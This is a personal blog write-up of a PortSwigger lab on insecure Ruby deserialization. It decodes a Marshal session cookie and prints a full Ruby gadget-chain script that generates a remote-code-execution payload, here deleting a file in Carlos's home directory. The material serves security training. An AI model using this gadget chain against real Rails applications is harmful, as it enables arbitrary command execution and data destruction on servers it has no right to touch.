siunam's Website

My personal website

Home Writeups Blog Projects About E-Portfolio

Exploiting Ruby deserialization using a documented gadget chain | Jan 12, 2023

Introduction

Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Exploiting Ruby deserialization using a documented gadget chain! Without further ado, let’s dive in.

Background

This lab uses a serialization-based session mechanism and the Ruby on Rails framework. There are documented exploits that enable remote code execution via a gadget chain in this framework.

To solve the lab, find a documented exploit and adapt it to create a malicious serialized object containing a remote code execution payload. Then, pass this object into the website to delete the morale.txt file from Carlos’s home directory.

You can log in to your own account using the following credentials: wiener:peter

Exploitation

Login as user wiener:

Burp Suite HTTP history:

When we successfully logged in, it’ll set a new session cookie:

BAhvOglVc2VyBzoOQHVzZXJuYW1lSSILd2llbmVyBjoGRUY6EkBhY2Nlc3NfdG9rZW5JIiVzNTh0b2t0NHZ1NDVmNWRqcHdheDFxajVqMXF4YXpwMAY7B0YK

It seems like it’s encoded in base64. Let’s decode that:

╭─root at siunam in ~/ctf/Portswigger-Labs/Insecure-Deserialization 2023-01-12 - 14:18:33
╰─○ echo 'BAhvOglVc2VyBzoOQHVzZXJuYW1lSSILd2llbmVyBjoGRUY6EkBhY2Nlc3NfdG9rZW5JIiVzNTh0b2t0NHZ1NDVmNWRqcHdheDFxajVqMXF4YXpwMAY7B0YK' | base64 -d | xxd
00000000: 0408 6f3a 0955 7365 7207 3a0e 4075 7365  ..o:.User.:.@use
00000010: 726e 616d 6549 220b 7769 656e 6572 063a  rnameI".wiener.:
00000020: 0645 463a 1240 6163 6365 7373 5f74 6f6b  .EF:.@access_tok
00000030: 656e 4922 2573 3538 746f 6b74 3476 7534  enI"%s58tokt4vu4
00000040: 3566 3564 6a70 7761 7831 716a 356a 3171  5f5djpwax1qj5j1q
00000050: 7861 7a70 3006 3b07 460a                 xazp0.;.F.

As you can see, the decoded output is a ruby serialized object.

It contains object User, attribute 1 username, and attribute 2 access_token.

Let’s google “ruby deserialization gadget chain”:

In this blog, it explained how to construct Ruby deserialization gadget chains very well, I strongly recommend you read through all of it.

Also, it has a Ruby script that generates a Ruby serialized object gadget chain payload:

In here, we need to change the id OS command to rm /home/carlos/morale.txt, and base64 encode the output:

require 'base64'

# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")

n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.encode64(payload)

Run that payload in Ruby online compiler:

Copy the output and paste it to the session cookie:

Finally, refresh the page:

Nice!

What we’ve learned:

  1. Exploiting Ruby deserialization using a documented gadget chain